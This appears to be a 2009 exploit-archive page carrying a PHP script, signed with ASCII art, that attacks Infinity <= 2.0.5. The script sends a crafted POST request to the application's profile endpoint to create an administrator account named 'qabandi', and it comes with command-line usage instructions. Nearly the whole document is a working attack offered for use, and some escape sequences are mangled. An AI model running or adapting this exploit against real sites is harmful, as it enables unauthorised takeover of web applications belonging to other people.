[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Infinity <= 2.0.5 Arbitrary Create Admin Exploit
# Published : 2009-07-15
# Author : Qabandi
# Previous Title : Greenwood Content Manager 0.3.2 Local File Inclusion Exploit
# Next Title : Admin News Tools Remote Contents Change Vulnerability
<?php
print_r('
|| || | ||
o_,_7 _|| . _o_7 _|| q_|_|| o_///_,
( : / (_) / ( .
___________________
_/QQQQQQQQQQQQQQQQQQQ__
[q] Infinity <= 2.0.5 Create Admin __/QQQ/````````````````QQQ___
_/QQQQQ/ QQQQQQ
[q] _POST <3 /QQQQ/`` ```QQQQ
/QQQQ/ QQQQ
[q] Owned :) |QQQQ/ By Qabandi QQQQ|
|QQQQ| |QQQQ|
|QQQQ| From Kuwait, PEACE... |QQQQ|
|QQQQ| |QQQQ|
|QQQQ iqa[a]hotmail.fr /QQQQ|
[/] -[WHAT?]- QQQQ __ /QQQQ/
QQQQ /QQ_QQQQ/
QQQQ QQQQQQQ/
QQQQQ /QQQQQ/_
``QQQQQ_____________/QQQ/QQQQ_
``QQQQQQQQQQQQQQQQQQQ/ `QQQQ
``````````````````` `````
______________________________________________________________________________
/
| :: Stupid vulnerability in a good script :( tsk tsk |
______________________________________________________________________________/
No More Private /
`````````````````
Sec-Code.com
USAGE: php whatever.php localhost /infinity/
');
ini_set("max_execution_time",0);
function QABANDI($victim,$vic_dir){
$host = $victim;
$p = "http://".$host.$vic_dir;
$data ="name=qabandi&password=qabandi&conf_password=qabandi&email=Qabandi@was.here&nat=man&hoppy=QabandiWasHere&text=QabandiWasHere&country=1";
$packet ="POST ".$p."/cp/profile.php?action=donewauthor HTTP/1.0rn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)rn";
$packet.="Pragma: no-cachern";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
//print $packet;
$o = @fsockopen($host, 80);
if(!$o){
echo "n[x] No response...n";
die;
}
fputs($o, $packet);
while (!feof($o)) $data .= fread($o, 1024);
fclose($o);
$_404 = strstr( $data, "HTTP/1.1 404 Not Found" );
if ( !empty($_404) ){
echo "n[x] 404 Not Found... Make sure of path. n";
die;
}
$_401 = strstr( $data, "401 Authorization Required" );
if ( !empty($_401) ){
echo "n[x] HTTP authentication detected! (mrakib jdar narry, maku faydeh) n";
die;
}
echo "Admin created !nnUsername: qabandinpassword: qabandi";
}
$host1 = $argv[1];
$userdir1=$argv[2];
QABANDI($host1,$userdir1);
die;
?>
# www.Syue.com [2009-07-15]